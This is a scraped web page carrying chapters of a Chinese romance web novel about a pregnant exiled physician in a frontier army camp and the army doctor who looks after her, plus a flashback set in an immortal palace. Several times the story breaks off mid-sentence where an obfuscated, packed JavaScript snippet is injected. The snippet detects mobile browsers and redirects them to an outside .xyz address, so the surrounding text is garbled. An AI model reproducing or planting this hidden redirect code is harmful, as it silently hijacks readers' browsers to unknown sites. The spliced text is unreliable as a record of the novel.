“一个女人,不在家相夫教子,跑到军营里来,总让人觉得怪怪的。” 这些细刺般的目光扎得人脊背发凉。 更令人惶然的是未来,刀光剑影里,我护得住这个意外降临的孩子吗? 帐外脚步声逼近,帘子猛地被掀开。几个士兵堵在门口,笑容阴冷。 “哟,这不是咱们的新来第一天就送了五条人命的女医师吗?怎么,一个人躲这儿,不敢出门了?” 我下意识地挺直了背脊,向来温顺的猫猫立马竖起尾巴,炸开毛,呲牙咧嘴警惕地盯着来人。 “有什么事吗?”我强装镇定问道。 “没什么,就是来看看你有没有空。” 男子迈步走进帐中,随手拿起一包草药,掂了掂,又丢回桌上。 “既然是流放至此,那就该有罪犯的觉悟。” “什么意思?” “意思就是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056763|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了本职工作,你也该做点别的,不是吗?” 他俯身扯下我发间的白梅步摇把玩。 我瞪着他质问:“大将军下令不许你们靠近药房,你是那天聋了没听到吗?” 某日晨练时说的,我恰好也听见。 “不知好歹!背着五条人命,你别以为能躲一辈子。” 人走了,帐内只剩我急促的呼吸。 那些恶语在耳边嗡嗡作响,闭上眼却看见颜卿梅树下执卷浅笑的模样。 喉头突然发苦。 这哪里是颜卿…… 猫猫从我膝头跃下,毛茸茸的脑袋轻轻蹭过我的小腿。 我将它抱起,脸埋进它温暖的皮毛,听着它发出安抚般的咕噜声。 帐外透进一缕微光,落在研磨钵上。 软乎乎的肉垫落在我的腿上,它原地转了一圈又蜷缩着睡下。 “只有猫猫哪里够……你到底什么时候回来……” “找了只猫给你暖身子吗。” 不晓得过去了多久,麻木地工作让我完全忘了时间。 听见声音我忙抬头,暖色的夕阳沉在他身后,被落下的帘子隔绝。 宁安桥沉着目光,表情还是一如既往地清淡。 我看了眼腿上丝毫没被宁安桥进来打扰的猫猫说道:“小家伙自己来的。” 宁安桥反问:“它居然不怕你。” 我看向宁安桥,又看看怀里的猫,“你们认识?” 宁安桥随口“嗯”了声,径直走到我身边,视野内的光瞬间被他高大的身形遮挡。 憋了数日,我终于还是一吐为快,感叹道:“猛如壮汉、高大威猛……带兵打仗的身子,却行了医?” “麻黄、干姜、秦艽、阿胶、艾叶,还有青竹茹。” 宁安桥对我的话毫无兴趣,放下新送来的草药便要走,忽而又脚步一顿,转头向我望来。 “秦艽同阿胶艾叶煎服。” 我点头记下,“好。是谁需要吗?我煎好给他送去。” 宁安桥抬起头,眼神像刀锋一样锐利扫过我。 “你真的是师尊教出来的徒弟吗?” “嗯?师尊?砚清怎么了?” 我听见他几不可闻地叹了口气,宁安桥曲指敲了敲案板,说:“这是安胎的方子。” “……” 见我愣住,他拿起一旁桌上的纸笔,笔尖在纸上沙沙作响。 “等分为末,每服三钱,以水一大碗、糯米五十粒煎服。” 我接过药方,依旧怔愣。 “等一下。”我诧异地抬头,支支吾吾问道:“你……怎么知道……” 宁安桥面无表情地看着我,似乎是无语我怎么问出如此愚蠢的问题。 “我是一名医者,你说我怎么知道的。” 他又环视一圈杂乱的药房,堆在角落的药草袋和一桌子的凌乱。 “先把药吃了,剩下的我来处理。” “你……从什么时候?” “那摊血迹,还有你的肚子。” 宁安桥走到我身边,单膝蹲下身,抓起我的手腕,动作干脆利落,没有一丝多余的情感流露。 平静地替我诊断脉象后,他抬眸看了看我,明明是在关心,语气却冷得毫无温度。 “莫要再动了胎气。” 我点了点头,眼中泛起泪光。他起身离开,只在落下帐帘前丢下一句: “若担心有人欺负你,就来和我住吧。” 51. 月落乌啼 贺祈安策马缓行在茫茫戈壁之上,忽然一道金光掠过耳际。他下意识侧首,只见一只蝴蝶翩然掠过,在炽烈的阳光下折射出细碎的光芒,宛若仙蝶。 “荒漠?蝴蝶?” 话音未落,蝶影已消散在热浪中。贺祈安摇头失笑,只当是烈日下的幻影。 忽然瞥见一抹橘色在沙丘间闪过,毛茸茸的。 “这下又是猫?” 他勒住缰绳,眯起眼睛。 多少听说过猫是沙漠动物,但在这人迹罕至的戈壁滩上遇见,还是让他颇感意外。 那是一只橘猫,毛色在烈日下泛着金铜般的光泽,正警惕地蹲在一块风化的岩石后。 贺祈安翻身下马,小心翼翼地靠近。橘猫没有逃跑,只是用琥珀色的眼睛直勾勾地盯着他。贺祈安忽然觉得这猫的神态莫名熟悉,尤其是昂着下巴又忍不住靠近的模样。 “祈——咳咳,小家伙,你在这儿能找到吃的吗?” 差点叫错人猫。 贺祈安蹲下身,从干粮袋里掰了块肉干。橘猫的鼻子抽动了几下,犹豫着向前迈了一步。警觉地闻了闻肉干后,尾巴翘起,在贺祈安脚边转了个圈。 “只吃老鼠?倒是只怪猫。算了,带你回去吧。” 橘猫紧贴在脚边,贺祈安趁势将它捞起,在臂弯里找了个舒服的位置窝着。 回到军营,鲍渔看见贺祈安怀里的橘猫,笑道:“将军从哪儿捡了只猫回来?” 贺祈安挠了挠橘猫的下巴,猫儿发出满足的呼噜声。 “这猫和祈源挺像,正好给楚姑娘做个伴,满是糙汉的军营,她一个姑娘家,多只猫儿也能解解闷。” 【又见东风】 药房的木椅上,我手里捏着一把干草药,轻轻揉搓。橘猫懒洋洋地趴在我的脚边,尾巴有一下没一下地甩动着,偶尔抬起头,用那双琥珀色的眼睛瞥我一眼。 我低头看了看它,苦涩的脸上嘴角也会不自觉地上扬,夹着嗓子问道:“猫咪啊,你这么可爱,能不能告诉我为什么呀?” 当然不是问它为什么这么可爱,而是宁安桥昨天为什么说那句话。 若担心有人欺负你,就来和我住吧。 什么意思?觊觎我绝美的容貌?还是他当军医久了想研究研究待产孕妇? 呵,我开玩笑的。 虽然他的语气像是随口一提,但我多少感觉到他话里藏着的那点关心。只是,我怎么能答应呢!军营里人多嘴杂,我若是搬去和他同住,闲言碎语怕是少不了。 “随你便。” 他当时只淡淡丢下这么一句,转身就走。 小猫轻轻蹭了蹭我的脚踝,低低地“喵”了一声,拉回我的思绪。 好可爱啊啊啊啊啊! 我伸手摸了摸它的脑袋,挠了挠它的下巴,心里稍稍安定了一些。 “可爱的猫猫叫什么名字呀?要不要姐姐给你取个名字呀?” “喵唔~” “好呀?那,叫什么呢——肥猪?馒头?烤馕?还是……” “它叫二胖。” 药房的门被推开,一阵冷风灌了进来。我抬头看去,是宁安桥阴沉着脸走进来。他手里拿着一卷医书,目光不在我身上停留,径直走到药柜前开始翻找药材。 “二胖?”我噗嗤笑出声,“为什么是二,老大呢?” 宁安桥抬手取下最上层的黄杨木,随口回答:“因为是二将军的猫,所以叫二胖。” 二将军的猫?原来是贺祈安将军的猫。那它天天跟我吃跟我睡,二将军从未来药房寻过它,也不曾听到二将军的猫丢了的话。 “药煎好了吗?” 放下手中的药,宁安桥又径直走向另一排药柜开始按照手中另一方子抓药。 “嗯,已经煎好了。”我站起身,走到药炉旁,将煎好的药倒进碗里,“我现在送过去吧。” “不用。”他自然地端走我手中的药碗,“少走动。之前给你的药,今天喝了吗?” 我端着空手说:“还没……” “那就快去。”他无奈地摇了摇头,皱着眉数落我,“多大的人了,对自己的事一点不上心。你这样怎么养得活你肚里的孩子。” 他端着药碗,转身出了营帐,帘子在他身后轻轻一荡,遮住了他的背影。我站在原地,脑子里空空的,像是被人抽走了思绪,只剩下他刚才低沉的嗓音在耳边回响,挥之不去。 我下意识地抬手摸了摸脸,指尖触到的温度让我心里一跳。脚边的二胖不知什么时候凑了过来,毛茸茸的,软软的,痒痒的。我蹲下身,摸了摸它的脑袋。可手指却不自觉地有些发抖,连带着呼吸也变得轻飘飘的,像是踩在云端,脚下没个着落。 “想什么呢我……一定是怀孕的原因,嗯!” 我暗暗骂自己没出息,本性难移。就是这副德行才搞出九个男人的喂!我清醒一点! 可嘴角却不受控制地微微翘起,像是藏了什么见不得人的秘密。 日子一天天过去,我和宁安桥的关系似乎也在不知不觉中,发生了一些微妙的变化。我竟然从他的眼神和动作中捕捉到一丝温柔?!太神奇了! 那天,猫猫陪我正在药房里煎药,宁安桥推门走了进来,手里拿着一包新到的药材。他走到我身边,将药材放在桌上,低头看了看药炉里的火候,说道:“火太大了,药会糊。” 我连忙用火钳夹了些木炭出来,将火调小了些。 “谢谢宁医师提醒。” “我只是不想浪费药材。” 我笑了笑,没有再多说什么。 “身体好些了吗?”他突然开口。 我点头,“还好,已经没有异样了。” “累了就休息,别总是逞强。” “嗯……谢谢?” 除了开始关心起我外,我最近发现宁安桥总是喜欢在背后偷偷观察我。大部分时候他躲闪及时,没被我抓住,但也有看出神的时候。 再某一天,我装好药材准备端着药壶去炉上,恰好转过身对上宁安桥的视线。能叫对上吗……准确来说是我发现他在看我。目光落在我身上,眉头微蹙,神情严肃,比颜卿审视犯人的表情还恐怖。 “宁医师?”我抬手在他面前晃了晃。 没反应。 “宁医师!” 提高点音量才把他的意识唤醒。他惊得颤了一下,眼神躲闪着找借口说自己在想事情。 什么事情要看着我想? 不过比起看我出神,我更倾向于是他想事情时,视线正好落在我身上。妄想出的桃花能扼杀就赶紧抹杀掉吧。 时光易逝,我的孕肚虽不算太明显,但还是能感觉到一些异样的目光。 其实相处久了大部分士兵还是挺友善的,十几岁便离家的少年,守着边疆与荒漠,我的到来多少给这份枯燥带来些乐趣。他们知道我经常待在药房,不喜欢四处闲逛,空余时间就喜欢路过药房,从门口看我在做什么,站在外边儿跟我打打招呼说说话。 但是吧,人嘛,有善有恶。我也慢慢习惯了那些异样的眼光和讽刺难听的话,虽然心里不好受,偶尔低落,转念一想都是可怜的人,何必跟他们计较。 五条人命已经足够了。 神器玉笛似乎一直守在我身边看不见的地方,只有察觉到我有危险它才会显现。有时候显出一半,发现是玩笑乌龙,立马又消失。 今天营外又传来嘀嘀咕咕的声音。 “你们很闲吗?要不要去操练场跑几圈?” 一道陌生的声音在门口响起,那些士兵立刻噤若寒蝉,纷纷逃散。我正要起身去看来者何人,对方已经率先走了进来。阳光从帐外斜斜地洒进来,勾勒出他挺拔的身影。他一身玄色轻甲,腰间佩剑,眉目冷峻,目光如刀般扫过帐内,最后落在我身上。 “二将军?!” 居然是贺祈安。 我赶忙起身行礼。贺祈安微微颔首,算是回应,随后走到我跟前,视线转移到我的脚边一团毛茸茸的橘黄色。 啊,原来是来找猫。 我笑着退后两步,让开点距离说:“二胖最近过得挺好,食量大睡得也香。” “二胖?” 他眉头一挑,表情有点古怪。我突然觉得不对劲。 “啊……它……不是叫二胖吗?” 贺祈安没说话,就那么看着我,眼神里有点无奈,又有点好笑。 宁安桥居然骗我! 我赶紧干笑两声,试图挽回局面:“抱歉啊二将军,我也是听别人说的这名字……” 他摆了摆手,没什么表情:“没事。”停了一下,又补了一句,“二胖也挺好。” 我松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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贺祈骁一饮杯中的酒,喉结滚动,酒液入喉。放下酒杯时,他长舒一口气,嘴角微扬,眼里透着释然与复杂。手指轻抚杯沿,低声叹道:“许久没有敞开喝了。难得太平,想起你来军营已有数月,只打过两次照面,便想与你说说话,闲聊闲聊。” “大将军军务繁忙,还能记挂我,实在感激不尽。” 他昂首大笑道:“那待会儿可别嫌我啰嗦。你应该听说了,我们贺家本是三兄弟,我,二弟祈安,还有一个三弟。今儿想给你讲讲三弟的情史。” 我望向对面贺祈骁的表情,突然有些犯难。 “将军……为何突然要跟我讲这个故事?” 如此私密之事对我一个外人讲,恐有不妥。 贺祈骁放下了手中的酒盏,对我翘起嘴角。 “姑娘家不都喜欢讲情爱吗?我也想着多一个人记住他,以免哪天我们都战死了,世间无人再去祭奠他。” 【逆梦归尘】 数年前。 男人瘫跪在地,他的喉咙里发出的声音不知道是哭是笑。手中的信纸被捏得不堪入目,上面的字迹只能看清“花海”二字。 “安桥……走吧。” 贺祈安试图拉上跪在地上的人一起离开,夜色将至,荒漠里的狼群即将出没,他们必须赶在太阳落山前回营。可宁安桥却甩开贺祈安的手,佝偻的背影无力地似要隐没于荒漠。 “我救不了他……” 他捂着绝望的脸,重复着相同的话。 “我救不了他……我学医到底是为什么……为什么还是……救不了他……” 破碎的声音沙哑无助,近乎某种绝望的控诉。风卷起沙粒,打在两人的衣袍上。贺祈安的目光越过宁安桥,望向远处逐渐暗沉的天际。 “这不是你的错。边疆至京都数千里,你如何能救他?” 因为有些事情,注定无法挽回。 这是凡人的命数。那位神仙是这么说的。 夜色彻底降临,荒漠中的风声夹杂着狼嚎,宁安桥没有动,只是缓缓闭上了眼睛。 贺祈安手动松开宁安桥的手指,展开那张莫名出现在贺祈骁书案上的信。 “祈源已死,被葬于一处山岗花海,勿寻。” 贺祈源死在了与那姑娘的婚事当晚,他死以后,赵国屡屡战败。所有人都将这一切归结于是他的死逆转了局势。宁安桥亦如此,陷入无尽自责的他总是逼问自己为什么救不了他。 “花海……世间那么多花海,三弟到底在何处……那姑娘……南风为何要带走他……” 52. 罗幕遮香 臃肿的裙罩勉强遮住日渐隆起的腹部。 暴露是迟早的事,但更令人忧心的是若临盆时战事又起,我该如何自处? 或许该接受宁安桥先前的提议搬去同住? 这念头刚起就被自己掐灭。 一个待产妇人住进男子家中,任谁听了都要摇头。 还是说,宁安桥与我而言根本感觉不到危险? 除了言语上的揶揄和打击,说实话,宁安桥人挺好的。 安胎的药有好几味药材军营中是没有的,听贺祈安说过,是宁安桥特意托人从最近的环州府带来的。 我是不是该好好谢谢他? 腊月的北地真的能冻死人。 持续三个月的战事终于迎来短暂停歇,伤兵营里满是血腥与草药混杂的气味。 宁安桥背对着我整理药柜,小臂上那道陈年疤痕格外扎眼。 我盯着那疤痕发呆,却见他突然转身,将一包药塞进我手里。 “茯苓、白术,再加三钱灯心草。别发呆,记清楚。” “嗯,记下了。” 病房里的人打趣我的裙罩,说像老家妇人们穿戴的,我也只能笑着应付。 笑裙罩我没意见,但听不得有人说我胖了。 哪里胖了!乱讲话! 自从怀有星辰后,我发现自己连着性子也开始变得古怪。 会突然很开心不自觉笑出声,会突然伤心痛哭流涕,成了感性的文人一般。 “若论此时的天光,正如我无处停靠的心,惶恐担忧。” 抓药的人回过头来,很认真地看了我一眼。 我对上他的视线,泪眼婆娑,下一秒,眼泪顺着右眼眼角滑落。 “怎么了?” 听则漫不经心,则是暗藏温柔的询问。 我抬手拂去泪水,垂眸看向手里的药。 “灯心草,煎汤代茶,治不眠之夜。可心病着,哪是区区灯心草能治愈的。” “……” 宁安桥不再看我,回过神去继续做手里的事情。 我沉思片刻,猛地委屈翻涌,趴在桌上毫无征兆地大哭起来。 如若宁安桥现在问起我为什么哭,我是答不上来的。只是突然想哭,便趴在桌上哭了。 就是,突然很伤心。 果不其然,宁安桥放下手中的事朝我走来。 只是他不是来问我哭什么,而是让我挪一挪,压着他的药方了。 “你……你不安慰我吗?” 他只看了我一眼。 “别哭了。” ……完了?安慰结束了? “哇啊——” 我哭得更伤心了。 宁安桥瞬间涌上一股无可奈何的怒气,可是面对一个怀有六个月身孕的孕妇,你不能做什么。打不得、骂不得、赶不得。 他替我捋了捋凌乱的头发,问道:“要不要搬来我和我住?” 我错额地抬头看向他。 他继续说:“天转凉,药房没有暖炉。而且……”他轻咳了声,“我可以方便照看你。若你信得过我。” 不知为何,我现在有另一股冲动涌上心头。 我悄悄将头埋进他的小腹,无休止地哭起来。 他的腰一下子挺了起来,沉默了片刻,颤颤巍巍地抱住我的头。 “我要搬去和你住。住这儿味道太重,恶心难受。” “嗯。” 我又想起别的事来,一笑,说:“今晚好像说煮腊肉锅吃。” “不能吃。” “为什么?” “孕期不能吃。” 好一会儿,我才说:“那我今晚岂不是没有吃的?” “我让伙房给你单独做了菜。” “……嗯。” 是真该好好谢谢他了。 简单收拾后,我抱着二将军的猫住进了宁安桥的营帐。 腊月的边塞,士兵们围着油花翻滚的肉汤锅取暖,而我面前摆着几道特意准备的清淡小菜。 暖炉将帐篷烘得温热,宁安桥的影子投在帐布上,随火光微微晃动。 他坚持将床榻让给我,自己睡在临时铺就的地铺上。 深夜,胎儿一记猛踢让我疼得蜷缩。 打地铺睡的宁安桥立刻惊醒,睡意朦胧的声音里带着关切:“抽筋了?” 不等应答,温热的手掌已覆上我的小腿,力道恰到好处地揉按起来。 军营里人人都怕宁安桥。 倒不是因他凶神恶煞,而是那双眼总盯着你把药喝得一滴不剩。 想偷偷倒掉?去年有个新兵试过,被拎去荒漠喂了一夜狼嚎。 如今我挺着六个月的身孕,裙罩绷得发紧。前日弯腰捡药包时,膝盖突然发软,险些跪倒在地。 宁安桥一把拎住我后领,像拎只不听话的猫。 “逞什么能?” 我缩了缩脖子。 其实喊过他的,只是那会儿他正给伤兵换药,绷带拆到一半…… 谁想得到这人背后长眼睛似的,野兽般的警觉。 宁安桥坐在床沿,目光紧紧盯着我,直到我将那碗补身子的药一饮而尽。 药汤苦涩,我却不敢皱眉,生怕他再多说什么。 喝完药,我便慢慢挪进被窝,动作因身子沉重而显得迟缓。 他见我如此,伸手替我整理被子,动作细致而轻柔。 我盯着他的动作,心中有些话忍不住想问他,却一时不知如何开口,只得默默看着他。 可眼神还是出卖了我。 “有话就问。” 既然你诚心诚意地发问了,那我就大发慈悲地问你啦。 我拍了拍床沿示意他坐,他也不同从前的高冷,很自然地在我身边坐下。 “宁医师什么时候来的军营?” 他低头拨弄炭火,漫不经心回答道:“六年前。从医鹿山出师后,便来了此处。” “六年?!”我瞪大了眼睛,“那你岂不是……没成亲,也没家室?” 他抬眼瞥了我一下:“问这做什么?” “这不闲聊嘛,没话找话说。” “你呢?刚成亲就被发配往边疆,是得罪了哪位大人吗?” “先声明,我可没惹谁,是他自己找茬的。” 宁安桥没接话,帐内安静得只剩下炭火噼啪的声音。 那么近的距离,我只需抬眸便能撞进宁安桥的眸子里。 他的鬓边有几缕碎发垂下来,衬得他的轮廓更加分明。 “比起这个……” 我蓦地靠近他,近到他的眼里只容得下一个我。 他下意识往后仰了仰,眉头微皱。 “从之前我就一直很好奇,宁医师偶尔,不对,是经常盯着我看吧?为什么?是觉得我像谁?还是……”我故意拖长了语调,“喜欢我?” 宁安桥轻轻地拨开我的手,横了我一眼。 “自作多情。” 一定不是自作多情,他的表情出卖了他。 我得意着屈起膝盖,侧脸靠上膝盖歪着头看他。 “就算是自作多情,也改不了你就是喜欢盯着我看的事实!” “是又如何。” “啊?” 有一瞬间我以为自己听错了。 “我就是喜欢盯着你,又如何。” 他重复了一遍,声音低沉,却字字清晰。 哪有人这么直接大胆地承认的。 “没、没什么……我就问问。” 我迅速别开脸,心狂跳。一定是靠近暖炉的缘故,脸才突然烧起来。 “问完了?” “问完了……” 确认完后,宁安桥起身准备离开,朝着营外走。 “诶喂——!” 我立马叫住他。 “大半夜不睡觉你去哪儿? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056765|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我没有和孕妇睡觉的癖好。”他无奈沉了沉肩,“我去搭地铺。” “还以为你要去别的地方睡呢……” 顿时安心了些,我也放心大胆钻进被窝。 “不是说害怕要我陪着吗。我又搬去别处,闲得慌吗。” 他默默走过来,替我掖被角时,指尖不经意碰到我的脸颊,又迅速缩回。 我蜷缩在被窝里,看着上方清冷的脸。 “那你答应我,不可以半夜消失啊。至少我需要你的时候,你得在……” “……还真是麻烦。”他叹了口气,“我知道了,你快睡吧。” “我睡不着。你陪我说说话吧。” “没什么说的。”他顿了顿又在床沿坐下,“你想说什么?” “随便什么都行,你问我点什么,或者你讲些故事?” “我不会讲故事。” “好吧。” 就这么静静地坐了一会儿,宁安桥终于再开口。 “……楚风。” “嗯?” “多少个月了?” 突如其来的问题打得我措手不及。 “你不是医师吗?” “我从学成出山到现在,没有看过孕妇。” “我算算啊。”我掰着手指头,“六月到现在腊月,八、六、三……四个月啦!” “你这算数谁教的?” “嘿,说来你可能不信。”我耸耸肩,“我之前失过忆,那之后脑子确实不太好使。” “失忆?”他眉头微皱。 “嗯。把以前的记忆全忘了,甚至是,自己的名字。” “……” 他沉默片刻。 “所以,楚风并不是你真正的名字?” “哇哦,你是怎么从我刚才的话总结出这个结论的……对,不是。楚风之前,我还得到过齐风这个名字。” 似乎意识到什么惊天大事,我一下愣住。 “不会吧……” “什么?” “你该不会……” 是要我找的九个男人之一吧。 我盯着宁安桥的脸,脑子里乱成一团。 单凭这张脸,确实有可能是我失忆前认识的人,可他的性格……和初见时简直判若两人。 如果是现在的他,或许还真有可能。 还记得第一次见面时,他说的第一句话是:“楚风?我还以为叫抽风。” 当时我只觉得这人嘴欠,现在想来,他分明知道我的名字不叫楚风,才会用这种话来揶揄我。 六年前,宁安桥学成离开医鹿山。 六年前,我一定在哪儿见过他。 他认识柳砚清,自然也认识我。 而且,不出意外的话,一定是在医鹿山。 “你一定认识我,对不对?” 我猛地坐直身子,眼睛直勾勾地盯着他。 “我叫什么名字?” 他愣了一下,眉头微皱,似是不解。 “这种时候别装傻啊!” 我急了,伸手抓住他的袖子。 “告诉我吧。你,是不是我要找的人?” “不是。” “为什么……如此肯定。” “因为我知道的,并不是你的真名。” “你如何知道你知道的名字不是我的真名?” “是你自己告诉我的。” “我自己告诉你的?”我愣住了,脑子里一片空白,“什么时候?在哪里?” 他没有回答,只是轻轻拨开我抓着他袖子的手,站起身,背对着我整理了一下衣袍。 “睡吧。” 我还想再问,可他已经走到帐门口,掀开帘子走了出去。 帐内只剩下我一个人,炭火的光芒在黑暗中跳动,映得我的影子忽明忽暗。 “是我自己告诉他的……我什么时候告诉他的?” 53. 云卷云舒 蓬莱第几宫。 被关禁闭后,日子过得同行尸走肉没什么区别。我百无聊赖地趴在窗边,望着外头的云卷云舒,心里却像被猫抓似的难受。 大哥北雷和三哥西雨最近都不晓得忙些什么,好几日没见到人影从我窗外路过。 二姐东婝正愁着应付爹爹安排的与各路神仙的相亲。 幽静的蓬莱第几宫只有我一个人,还不许我出门!我不活了! 二姐的房间与我的一墙之隔,见她正好出门,我立马叫住她。 “二姐!救我!” 我一个闪动到她身边,挽上她的手臂,可怜巴巴地自下而上望着她。 “我怎么救你?爹爹关你禁闭是你活该,好好回房待着吧。” 不愧是神界唯一一座冰山,对亲妹妹都如此冷漠。 “你不救我,我就只有死路一条了!” “关禁闭而已。又不是罚你去做苦力或者投到猪身上体验几天人间疾苦,哪里要死了。” 好耳熟的惩罚? “摸不到男人,我这双手它……它要废了……” 我猛地抬起双手,惊恐地瞪大眼睛盯着它们。 “……我看你已经废了。”二姐叹了口气,毫不留情甩开我的手,朝门口走去,“别找我,我这几天正烦着呢。” 我小跑着跟上她,神不知鬼不觉地取下她腰间的玉佩——蓬莱第几宫通行证,或者抓着二姐,不就可以出门了嘛。 “和枕书君的婚事吗?” “你还提!” 二姐突然停住脚,在即将跨出门槛之前。她知道,爹爹设下的禁足令是不许我跨出门槛。我正悄悄往回拽着令牌,见被她发现,立刻松开了手。 “对不起二姐!”我讪讪笑着赶紧道歉,又忍不住好奇,“枕书君那么英俊、四大仙男,你到底是哪里不满意啊?” 枕书君是仙界公认的美男子,身姿挺拔,面容如玉,气质清冷如月。 这不,刚到适婚年龄,仙界各家的仙子们便纷纷动了心思,托人打听枕书君的喜好,甚至有些胆大的直接上门提亲。 可惜,枕书君对这些热情似火的追求者始终保持着距离,礼貌却疏离。 有人说,他是心系修炼,不愿被儿女情长所扰;也有人说,他早已心有所属,只是那人还未察觉。 “我看不惯他对我唯唯诺诺的样子,一点不像个男人。” 二姐抱臂站在原地,就是不肯跨出一步。宽大的袖子将玉佩藏得严严实实。 “嗯——有没有可能,整个仙界的男人都怕你?”说着,我调皮地眯起一只眼睛。 二姐不解,“我很凶吗?” “不,一点也不。” “我很可怕吗?!” “不不不,一点都不可怕。” “二姐不可怕,何来慑魂天女的称号。” 这句话是突然从身后传来的,我和二姐一同望去。 “西雨?”我惊呼,他不是该在天工府替爹爹办事吗,怎么在家。 摄魂……我微微一愣,偷偷瞥了眼二姐,她没什么表情,看来没有生气。 于是我顺着西雨的话,试探着询问:“慑魂天女?那是什么?谁给取的?” 西雨:“咳,我不能说。” 二姐:“……” 我狡黠地戳了戳西雨,“不会是西雨取的吧?” “我敢吗。”西雨清秀的脸上露出无奈。 “谅你也不敢。” 打趣完毕,我又想起他今日不该在家,问道:“爹爹交代你的事做完了?” “告一段落,只要是来通知二姐,爹爹正生气呢,要你立刻滚到他面前。” 滚字说得格外用力清晰。 “……”二姐沉默了片刻,随即声音陡然提高,“那怎么你不早说!” 然后一个箭步跑没影了。 我还是没能浑水摸鱼溜出去。 计划失败。 我没好气地瞪了西雨一眼:“西雨是故意拖延时间通知二姐的吗?” “嗯。”他倒一点不遮掩。 “……坏西雨。” “怎么不继续唱了?你自创的坏西雨歌。” 我暗暗叹了口气,“今天没心情。” “因为关禁闭的事吗?还是因为男人?” “两者都有才最烦人啊。”我哀嚎一声,双手捂住脸,“被关禁闭摸不到男人,书也被爹爹没收了,我不活了……” 大哥从人间带回的数百本禁书被爹爹全部没收就丢火山坑全焚烧了。 西雨站在身旁愣了半晌,问道:“仙界就没有你喜欢的吗?” “大家都是神仙,抬头不见低头见,我不想几千年几万年都被人说闲话。” “那就找知晓的人。” “除了你们,没人知道我此事。” “岂不正好。” “嗯?什么正好?” 我抬起头,一脸茫然地看着西雨,心里隐隐觉得他话里有话。 后知后觉,我大惊失色,颤抖着后退。 “不是吧……” 有种……不祥的预感,非常强烈的不祥之兆。 “试试吗?” 西雨步步逼近,脚步轻缓却坚定,直到我的背抵上墙壁,退无可退。 我呆呆地望着面前的男人,脸颊瞬间烧起来,呼吸几乎停滞。 他的气息从上呼下萦绕在鼻尖,温热而清冽,指尖轻轻撩起我的发丝。 “不躲吗?” 说着,西雨用指腹蹭过我的眼角,锁住我的双手,抬过我的头顶,抵在身后的墙壁上。 蓬莱仙霞的映照下,我看见了西雨平静又专注的面容。 喂喂喂南风啊……这是三哥啊!你在想什么呢! 意识到眼前的人是谁后,我稍稍恢复点理智。 “你……”我恼羞成怒,轻轻推开他,越过他朝寝殿走,“不许同我开玩笑!” “抱歉。” 二姐果然被骂,回来时一脸阴霾。 我端着一碟糕点去看望她,一招雪中送炭,兴许她心情一好愿意帮我呢。 不愿帮我的下场无非是告发到爹爹那儿去,然后他老人家又马不停蹄地赶来回来朝我的屁股使劲儿踹。 但无论如何,眼下是一个很好的机会,让我能去找男人消遣消遣。 咱家后院有我种下的一片竹林,自园林打造出来后,四个人总爱往这儿跑。 等我找到二姐时,她正盘腿坐在水池边,倚靠着榕树,望着水里莲花发呆。 “二姐~可爱的小妹来安慰你啦。” “南风啊。”她没精打采地拍了拍身旁的空位,“爹爹不爱我了。” “如果爹爹不爱你,我岂不是更可怜。至少,爹爹不会踹你屁股吧。” “那倒也是。”她似乎缓了口气儿,“爹爹会揍的也就你了。” “……嗯。” 突然有点心疼我自己。 自我某次私自下凡把自己弄得一身伤回蓬莱后,爹爹总爱踹我,一生气就踹我,完全不给我求饶的机会。 “说吧,找二姐又有什么鬼主意?帮你出门是不可能的,我刚被骂,不想再看到恶魔了。” “那就做梦。二姐不是的法力不是控制梦的吗,你就给我送去谁的梦里,我过把瘾就回来。” “……做梦。”二姐翻了个白眼。 “对!”我点头如捣蒜。 “我说你做梦!”二姐气得直戳我脑门,“还入梦呢,谁的梦允许你做那等事?” “凡人不是会做一种……春梦!”我理直气壮地挺起胸膛。 “……” 二姐一脸无语,嘴角抽了抽,手掌也颤抖着像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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汗珠方落即干,只余一层薄盐,黏附肌肤,刺痒难耐。 走了不知多久,远处终于出现了一个人影。 我眯起眼,加快脚步走近。那是个男人,跪坐在沙地上,身形魁梧,肩宽背厚,一身破旧的衣袍被风撕扯得猎猎作响。 他低着头,手里攥着一把沾血的匕首,刀刃上的血迹已经干涸发黑。 沙地上零星散着几片破碎的甲胄,血迹斑斑,像是刚结束了一场恶战。 我清了清嗓子,故意放轻脚步走到他面前。他猛地抬头,眼神冷得像冰,直直刺向我。 这里是梦吧……意思是这个人现在,是在做噩梦? 闯入别人的噩梦怎么继续接下来的事! 二姐!重来!这个下不去手啊! “敢问这位壮汉,你还好吗?” “……” 他全身紧绷,警惕地看着我。 我笑了笑,也不说话,抬手拂袖一挥。 